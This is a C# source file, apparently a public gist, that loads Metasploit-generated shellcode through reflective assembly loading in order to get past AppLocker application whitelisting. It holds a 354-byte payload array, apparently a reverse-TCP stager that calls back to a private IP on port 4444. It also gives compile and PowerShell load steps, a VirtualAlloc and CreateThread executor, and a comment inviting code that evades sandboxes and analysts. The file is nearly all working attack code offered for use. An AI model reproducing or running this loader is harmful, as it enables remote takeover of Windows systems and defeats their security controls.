C# file that contains shellcode and bypasses AppLocker via Assembly Load

Shellcode.cs

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
　
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe  /unsafe /platform:x86 /out:shellcode.exe shellcode.cs
Step Two: 
$bytes = [System.IO.File]::ReadAllBytes("C:\shellcode.exe")
[Reflection.Assembly]::Load($bytes)
[Shellcode]::Exec()
*/
　
　
public class Program
{
	public static void Main()
	{
		Console.WriteLine("Hey There From Main()");
		//Add any behaviour here to throw off sandbox execution/analysts :)
		
	}
	
}
　
　
　
public class Shellcode
{
		public static void Exec()
		{
			// native function's compiled code
			// generated with metasploit
			byte[] shellcode = new byte[354] {
		
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x64,0x03,0x68,0x02,
0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,
0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,
0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,
0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,
0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 };
　
 
			UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
								MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
			IntPtr hThread = IntPtr.Zero;
			UInt32 threadId = 0;
			// prepare data
 
 
			IntPtr pinfo = IntPtr.Zero;
 
			// execute native code
 
			hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
			WaitForSingleObject(hThread, 0xFFFFFFFF);
			return;
			
	  }
 
		private static UInt32 MEM_COMMIT = 0x1000;
 
		private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
　
		[DllImport("kernel32")]
	private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
　
	
　
	[DllImport("kernel32")]
	private static extern IntPtr CreateThread(
　
	  UInt32 lpThreadAttributes,
	  UInt32 dwStackSize,
	  UInt32 lpStartAddress,
	  IntPtr param,
	  UInt32 dwCreationFlags,
	  ref UInt32 lpThreadId
　
	  );
	[DllImport("kernel32")]
	private static extern bool CloseHandle(IntPtr handle);
　
	[DllImport("kernel32")]
	private static extern UInt32 WaitForSingleObject(
　
	  IntPtr hHandle,
	  UInt32 dwMilliseconds
	  );
	
		
 
	}